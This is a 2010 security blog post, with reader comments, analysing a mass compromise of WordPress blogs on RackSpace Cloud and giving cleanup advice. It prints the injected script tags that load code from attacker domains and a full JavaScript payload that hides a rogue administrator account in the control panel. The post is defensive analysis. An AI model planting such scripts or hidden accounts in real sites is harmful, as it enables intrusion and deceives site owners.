msgbartop
Unmask Parasites - Check your web pages for hidden links, iframes, malicious scripts, unauthorized redirects and other signs of security problems.
msgbarbottom
Loading site search ...

Attack on WordPress Blogs on RackSpace

   14 Jun 10   Filed in Website exploits

This year we regularly see how hackers exploit security holes in infrastructure of large shared hosting providers to compromise thousands legitimate websites of their clients. Network Solutions, GoDaddy, Servage – they all are notorious for their security problems. Now RackSpace Cloud has fallen victim to a massive hacker attack…

Here’s the story

On Saturday, I received an email from one of Unmask Parasites users whose site had been blacklisted by Google.

He found a “fake admin” account in a WordPress control panel and a new file called “e.index”. And still he saw suspicious external scripts in his three blogs when he checked them in Unmask Parasites.

When I checked the sites, I found those scripts right after the first <div class=”entry”> tag on the index pages. Although they used different domains and subdomains, they looked pretty much the same:

  1. <h5><script src=hxxp ://m808j .newsapis .us/js/jquery.min.js></script></h5>
  2. <h5><script src=hxxp ://ee9kd .smartenergymodel .com/js/jquery.min.js></script></h5>
  3. <h5><script src=hxxp ://w7c5lrhqu .newsapis .us/js/jquery.min.js></script></h5>

This is when I decided to investigate this case, and here is what I found…

Attack localization

1. I checked other sites on the same IP (64.49.219.218) and found many similarly hacked sites.

2. All hacked sites were WordPress blogs.

3. All versions of WordPress were affected (including the current stable version 2.9.2).

4. The IP belongs to RackSpace Cloud. When I checked WordPress blogs on neighbor RackSpace IPs, I found similarly hacked blogs on all of them in the range 64.49.219.194252 and on 64.49.217.121. On RackSpace, sites are supposed to be stored in the cloud, so we can only guess how many physical servers those IPs refer to.

5. Majority of WordPress blogs seem to be affected. But not all. About 20% of checked blogs were free from the malicious scripts. Probably, some of them have been already cleaned up. Others are still waiting for their turn to be hacked (hackers could break into sites manually, one by one)

6. Many of the checked WordPress blogs also contain cloaked spammy links to pirated movies and software. This makes me think that hackers have been exploiting RackSpace Cloud servers for quite some time.

7. I couldn’t find any blogs affected by this attack on other networks. Most likely this attack is limited to certain RackSpace segments.

Details about the attack and speculations on its vector

I found an interesting thread on WordPress forum that says:

1. Hackers create a new admin user with username “amin” and name “” (the name is three dots)

2. The hacked blogs are on RackSpace Cloud

3. Logs created by the “Admin Log” plugin show that this rogue “amin” user accessed blog and edited WordPress theme files.

4. Sometimes they inject base64-encode malicious iframes into theme files. They also create other encrypted files in various locations of the compromised sites. Some of them are PHP shells.

5. Moreover, the admin logs also show that the real name of that user is not ““. In reality it contains many HTML tags and JavaScripts right after those three dots (they are stripped when WordPress displays the name on a web page).
...
<b id="user_superuser"><script language="JavaScript">
var setUserName = function(){
try{
var t=document.getElementById("user_superuser");
while(t.nodeName!="TR"){
t=t.parentNode;
};
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName("H3");
var s = " shown below";
for (var i = 0; i < tags.length; i++) {
var t=tags[i].innerHTML;
var h=tags[i];
if(t.indexOf(s)>0){
s =(parseInt(t)-1)+s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr=document.getElementsByTagName("ul");
for(var i in arr) if(arr[i].className=="subsubsub"){
var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
if(n!=null && n[1]>0){
var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<");
arr[i].innerHTML=txt;
}
var n=/>Administrator <span>\((\d+)\)</gi.exec(arr[i].innerHTML);
if(n!=null && n[1]>0){
var txt=arr[i].innerHTML.replace(/>Administrator <span>\((\d+)\)</gi,">Administrator <span class=\"count\">("+(n[1]-1)+")<");
arr[i].innerHTML=txt;
}
var n=/>All <span>\((\d+)\)</gi.exec(arr[i].innerHTML);
if(n!=null && n[1]>0){
var txt=arr[i].innerHTML.replace(/>All <span>\((\d+)\)</gi,">All <span class=\"count\">("+(n[1]-1)+")<");
arr[i].innerHTML=txt;
}
}
}catch(e){};
};
addLoadEvent(setUserName);
</script>

If I’m not mistaken, this code should hide the rogue user in the WordPress control panel. However, in recent versions of WordPress, values from database are properly sanitized (all tags are simply removed) and this code has no chance to be executed in a browser.

I played with the name parameter and could only duplicate admin logs with HTML tags if I inject them directly into the “usermeta” table bypassing WordPress altogether. This means that hackers have direct access to WordPress databases on RackSpace servers.

6. Hackers also injected the above mentioned scripts into the database entry of the most recent posts.

7. One of the posts in that thread also suggests that the attack vector is a vulnerable version (2.11.3) of phpMyAdmin used by RackSpace Cloud. If this is true, hackers must have targeted an XSRF attack at one of RackSpace admins with mySql root permissions to gain access to the whole database (probably created one more admin user). At this point, RackSpace has upgraded their phpMyAdmin nodes. Hope, they also found any changes in the database done by those hackers.

More about the malicious scripts

In one of JSUnpack reports, I found a decoded script that mentions 5 domain names that hackers used in this attack.

var doms = ['smartenergymodel.com', 'googleapis.biz', 'newsapis.us',
'emapis.org', 'toolbarinc.com'];

Indeed, on all affected sites, I found external scripts from subdomains of these five sites.

That report from jsunpack also suggests that initially hackers used only 5 subdomains:

var preffs = ['scripts.', 'library.', 'ajax.', 'toolbar.', 'inc.', 'java.']

They made the injected scripts look trustworthy. Just compare a legitimate script of jQuery library provided by Google with one of the malicious variants used in this attack:

http://ajax.googleapis.com/ajax/libs/jquery/1.3.1/jquery.min.js
hxxp://ajax.googleapis.biz/js/jquery.min.js

However, now hackers use random meaningless subdomain names and change them from site to site. (Examples: nk0x.googleapis .biz, c8lk .newsapis .us, u6j.toolbarinc .com, awcdxvs1d.smartenergymodel .com, s56yqv3h.emapis .org)

Four of these domain names have been created on May 10, 2010, and one (smartenergymodel .com) has been updated on the same date.

All these sites (and their subdomains) are hosted on several servers of C I Host (Tampa, Florida). Here are their DNS records:

newsapis.us. 3600 IN A 66.221.228.26
newsapis.us. 3600 IN A 64.182.83.130
newsapis.us. 3600 IN A 66.221.165.153
-------------------------------------------------------
googleapis.biz. 3600 IN A 66.221.234.209
googleapis.biz. 3600 IN A 66.221.165.155
googleapis.biz. 3600 IN A 64.182.83.129
-------------------------------------------------------
emapis.org. 3600 IN A 66.221.224.205
emapis.org. 3600 IN A 66.221.165.151
emapis.org. 3600 IN A 64.182.83.132
-------------------------------------------------------
toolbarinc.com. 3600 IN A 66.221.165.149
toolbarinc.com. 3600 IN A 64.182.83.134
toolbarinc.com. 3600 IN A 66.221.224.191
-------------------------------------------------------
smartenergymodel.com. 3600 IN A 66.221.231.251
smartenergymodel.com. 3600 IN A 66.221.165.147
smartenergymodel.com. 3600 IN A 64.182.83.136

Their subdomains are also configured as A records.

The scripts serve malicious content under certain conditions only. As a result, Google currently blacklists only two domains (newsapis.us and googleapis.biz) out of five.

To webmasters

In this case, it is clear that webmasters can’t permanently resolve the problem until RackSpace locates and closes the security hole in their infrastructure. However, you can mitigate the damages from this attack if you act fast.

If you have a WordPress blog on a RackSpace Cloud, make sure to thoroughly check your site. Start with an Unmask Parasites scan. It can reveal the malicious external scripts, iframes and cloaked spammy links in your web pages.

In this case, scan the index page of your blog as the malicious code is injected into the most recent (at the time of the attack) post. If you publish more than 5-10 posts a day, you might also want to scan a couple of pages of previous posts.

Note, that in case of found scripts from smartenergymodel .com, toolbarinc .com, and emapis .org – Unmask Parasites doesn’t mark them as suspicious (since they are not currently blacklisted by Google), so you should thoroughly look through reports even if Unmask Parasites says that your pages seem to be clean. Anything that you didn’t add to your site yourself should be considered as suspicious.

If your site is compromised you should:

  1. Scan you server for suspicious files and directories. Pay a special attention to files that contain base64-encoded strings. They usually contain code that starts with eval(base64_decode(… If you have a fresh backup, consider removing everything and then restoring your site from a clean backup copy.
  2. Check WordPress and theme files for integrity. If you are not sure, just upgrade WordPress (even if it is the latest version already) or re-upload a genuine version of the theme (get it from either WorPress theme repository or from its author’s site)
  3. Now that your WordPress version is at least 2.9.2 (the stable version at the moment), log into your WordPress admin interface and check if there is a user with name amin. You should delete it. Then change passwords of existing WordPress users.
  4. Then check the content of your recent posts. At the very top of affected records you’ll see a malicious script inside <h5>..</h5> tags. You should remove such scripts. Please use something like NoScript in your browser so that those script don’t have a chance to get executed. Or use something like phpMyAdmin to check and clean the values of the “post_content” field in the mySql table “<your-prefix>_posts“.
    If you didn’t publish new articles during the last couple of weeks and have a fresh backup of the WordPress database, the easiest way to clean up your database is to restore a clean copy from a backup.
  5. Now consider changing mySql passwords. Just in case.
  6. Check your site every day. At least for a week. I’ve seen websites that had been cleaned up only to be reinfected a few hours later.
  7. Regularly check RackSpace system status. They may post important updates there.

Update (June 15, 2010): Michael VanDeMar noticed that hackers also inject an encrypted backdoor PHP script into “wp_options” table. Among other things, it allows to modify WordPress database and inject spammy links into blog pages. For details on how to find the malicious DB entry please read his artcile.

On my side, I’ll send everything I know about this issue to security department of RackSpace. Hope they’ll be able to address this issue ASAP.

Your comments are welcome!

Do you have any additional information about this attack? I encourage you to take part in the discussion in comments.

Similar posts:

Reader's Comments (32)

  1. |

    [...] is, officially, my favorite train-wreck story. Now it's rackspace. http://blog.unmaskparasites.com/2010…-on-rackspace/ Twitter| Personal Blog | That Other Site Reply With Quote   + Reply [...]

  2. |

    It seems that Rackspace (unsurprisingly) is telling us that this is not their problem and that the issue lies with WordPress.

  3. |

    I am getting slammed with this seeing this ‘amin’ user in 75% of over 80 WP installs. Have been able to delete user before they start modifying post content in most cases, but still having to install WP and plugins from fresh and upload themes again. What a pain.

    At this time it looks like the only thing I could have done to prevent the attack was to either a) not host with Rackspace or b) not use WordPress.

    Neither is a nice alternative : (

    The worst part is I can clean up sites all day but until someone identifies the attack vector with certainty, I could still be a sitting duck.

  4. |

    [...] maybe then it would not have spread so widely. As it is, it is the same WordPress attack that Unmask Parasites blogged about earlier [...]

  5. |

    Cleaning the files and bad users is probably not going to be enough in these hacks. This is true of most hacked WordPress sites that I clean up, but in this instance I just tonight finished cleaning up a client’s website hosted on Rackspace Cloud who was hit with this, and I found an entire backdoor script injected into a wp_options entry:

    http://smackdown.blogsblogsblogs.com/2010/06/14/rackspace-hacked-clients-check-your-databases-wordpress-wp_optimize-backdoor-in-wp_options-table/

    Could other affected please check their databases and see if they find the same thing?

    • |

      Thanks Michael!

      Reliable information from someone with internal access to compromised sites is indispensable.

  6. |

    Even Blogs on Dreamhost were affected! http://www.techfreakstuff.com/2010/06/ftp-hacked-easily-secured-sftp.html

    • |

      That’s a different attack.

      In your case every site that uses FTP can be affected. But in this article we are talking about the attack that only affects WordPress blogs on RackSpace Cloud and it doesn’t have anything to do with stolen FTP passwords.

  7. |

    [...] friends from Unmask Parasites and Smackdown posted more details about the attack: http://blog.unmaskparasites.com/..attack-on-wordpress-blogs-on-rackspace/ [...]

  8. |

    Do we know if this effects ether Rackspace Cloudsites, Cloudservers, or both? If it effects both services then this may be a problem Rackspace would have to look into. Assuming of the two Cloudsites would likely all be configured the same – meaning they all would have the same vulnerabilities. It’s highly unlikely this exploit was able to penetrate all Cloudservers considering the numerous system configurations possible.

    Of the people hear effected – are you using Cloudsites or a Cloudserver?

  9. |

    [...] been compromised similarly to the GoDaddy hack a few weeks back. The Unmask Parasites Blog has an excellent article on the attack posted on their, well, their [...]

  10. |

    @carmelo, so far this ‘amin’ hack has only effected CloudSites users.

    So far Rackspace does not agree with the assessment that this was related to phpMyAdmin

    This weekend we upgraded phpMyAdmin to the current version after customer reports brought to our attention that we had neglected to maintain the current released version. That is our failure, and we accept responsibility for that. We have reviewed and adjusted our procedures so that going forward we will do better to stay up to date with the latest security releases of phpMyAdmin.

    While we continue to investigate compromise reports from a small number of our hosted WordPress customers over the past few days we have no evidence that phpMyAdmin was involved. We are continuing to investigate the root cause of the issue.

    If our investigation shows anything other than application level exploits, outdated and vulnerable WordPress plug-ins, etc, we will make that data available to you.

    • |

      At this point there are no strong proofs that the phpMyAdmin vulnerability was the initial attack vector.
      However, it is great that RackSpace has promptly updated it.

  11. |

    This weekend we upgraded phpMyAdmin to the current version after customer reports brought to our attention that we had neglected to maintain the current released version. That is our failure, and we accept responsibility for that. We have reviewed and adjusted our procedures so that going forward we will do better to stay up to date with the latest security releases of phpMyAdmin.

    While we continue to investigate compromise reports from a small number of our hosted WordPress customers over the past few days we have no evidence that phpMyAdmin was involved. We are continuing to investigate the root cause of the issue.

    If our investigation shows anything other than application level exploits, outdated and vulnerable WordPress plug-ins, etc, we will make that data available.

    We will be posting status updates here: http://status.mosso.com/2010/06/emergency-phpmyadmin-maintenance-ongoing.html

    If you have any questions in the meantime, please contact us via live chat or call 1-877-934-0409

    Rob La Gesse
    Director of Customer Development
    Rackspace
    210-845-4440
    @kr8tr

    • |

      If our investigation shows anything other than application level exploits, outdated and vulnerable WordPress plug-ins, etc, we will make that data available.

      I think it would be of great service to your clients to share any and all lessons learned from your investigation.

      If it’s a vulnerable plugin or configuration – let us know so we can protect ourselves!

  12. |

    As somebody who monitors WordPress security obsessively, to the point of running honeypot sites on several hosts (no, I’m not going to tell you which ones), I can state with authority that there are no known hacks out there for WordPress 2.9.2.

    The vast majority of intrusions I’ve seen comes from one of two vectors:

    1. Malware or viruses that steal FTP passwords (sadly, Filezilla’s saved password files is a target here). Once the FTP password is obtained, the hack on the website can be, and is, easily automated. I’ve exposed a site via this manner and seen it auto-hacked within minutes. This malware is generally spread via the tried and true email-bad-files-to-other-people method.

    2. Poor shared hosting security, where once a site is hacked, any other site on that server can be auto-hacked as well. If a user has, or can obtain, permission to modify another users files, then the server is quite simply set up improperly. All shared hosting systems *need* to be running their scripts in setuid mode, via whatever method makes sense. Scripts should not run as the apache user, but should run as the user who owns those scripts. This limits damage of a hacked site to only that site and doesn’t expose other sites on the same machine. suPHP is the simplest way to do this, but many hosts don’t like to run mod_suphp or other apache plugins, so FastCGI+setuid+PHP will also work. There’s tutorials for setting this up, and any host worth it’s salt should be reading them, first thing.

    Usually the infections I’ve seen is a combination of the two. Once a site on a poorly configured server is hacked, it’s a matter of time before every site on that server is hacked. WordPress is a high profile target (hell, it runs ~40% of the internet now, right?) and so attack scripts tend to be automated to look for it and act accordingly. But the initial infection point is *rarely* WordPress itself these days, with the exception of older versions with known security issues.

    So, tip for users looking to protect themselves:

    a. Make sure your host runs PHP 5. This is not any more secure, but a host that has taken the time to upgrade generally knows what they’re doing. Consider it to be a litmus test, sort of thing.

    b. If it’s a shared host system, look at your phpinfo. Look specifically for “su” or “setuid” in the configuration of the system. If it’s a dedicated host or virtual dedicated, then learn for yourself how to configure a safe hosting environment. There’s tons of tutorials out there.

    c. Investigate your host thoroughly. Look for past attacks, read their blog, make sure they take security seriously.

    d. If you run WordPress, there’s a lot of safety plugins you can use to automatically scan your site, report changes in critical files to you via email, etc.

    e. UPGRADE. Always run the latest WordPress, especially if a security upgrade comes out.

    • |

      @Otto – Thanks for taking the time to weigh in here. Do you have any thoughts on the CloudSites platform and how it relates to hosting WordPress sites?

  13. |

    [...] Attacks on WordPress Blogs on RackSpace [...]

  14. |

    [...] on another reported mass injection campaign revealed a similarity that shouldn't be ignored [...]

  15. |

    [...] Even better, a blogger spelled out in graphic detail what was going on, which can be seen here. (Later that day, another site makes a post giving even more [...]

  16. |

    @Jax – It is in our best interests to keep our customers informed about these things, so yes – whatever we find we will share.

    Rob

  17. |

    [...] Unmask Parasites Blog: Attack on WordPress blogs on Rackspace [...]

  18. |

    Some posts about it here… maybe we can all gather info in one place?
    http://wordpress.org/support/topic/405684?replies=42

  19. |

    The proposed PhpMyAdmin attack vector seems unlikely to me, because it would be hard to have such a ubiquitous attack targeted at a single host using an XSRF vulnerability (unless maybe it was a Rackspace tech that was hit…).

  20. |

    Some other datacenter also infected like hodtdime (big datacenter)

    wordpress bugs are here

    http://core.trac.wordpress.org/query?status=accepted&status=assigned&status=new&status=reopened&status=reviewing&order=priority&col=id&col=summary&col=status&col=owner&col=type&col=priority&col=milestone&type=defect+%28bug%29

  21. |

    @Otto

    Known isn’t the same as none. Just because YOU don’t know doesn’t mean other individuals don’t know.

    Two great starting points for example:

    http://core.trac.wordpress.org/ticket/12416
    http://core.trac.wordpress.org/ticket/11819

    WordPress is as about as bug free as an ant farm and about as secure as a safe with no doors.

    Interesting that you also happen to work for WordPress.

    • |

      I don’t know what you’re talking about. Neither of those is a security hole, as to access any of those functions from the backend, you must be authenticated to begin with.

  22. |

    @Rob La Gesse

    Any word on Rackspace Cloud and WordPress and what the issues were for Rackspace hosted sites?

    Am/was considering hosting there.

  23. |

    Actually just read the most recent update here from Rackspace. Looks like they have been proactively addressing things and helping to make recommendations on proper secure setup.

    http://status.mosso.com/2010/06/current-investigation-of-security-incident.html

  24. |

    Thanks at ton for your article. I have found 3 of our WP sites that got hacked. I have had WP sites on the cloud for a while and I have had a good amount of them hacked. I was asking their support about 3-4 months ago if there is a reason the sites hosted there seemed to get hacked more often than other host I still have some other domains on and of course there is nothing they are doing wrong. That kind of bugs me. They do have good support and I will most likely stay with them as hopefully they are more aware now, but I wish they would take a little ownership and admit that they had some part in this. I just got another email this morning, http://status.mosso.com/2010/06/current-investigation-of-security-incident-update.html, I was running the latest version 2.9.2, had good Passwords, File permissions etc. Also, I think the main reason I will likely stay is it would be a pain to move all sites elsewhere. Lets just hope this awakens them. :-) Thanks again for your post!

  25. |

    I’m on Rackspace Cloud and have started having problems again in the past two days. Their response is always the same- “Not our problem. We don’t support coding issues.”

    • |

      Hi Lee,

      What sort of problems now? The same as described in this article or something different?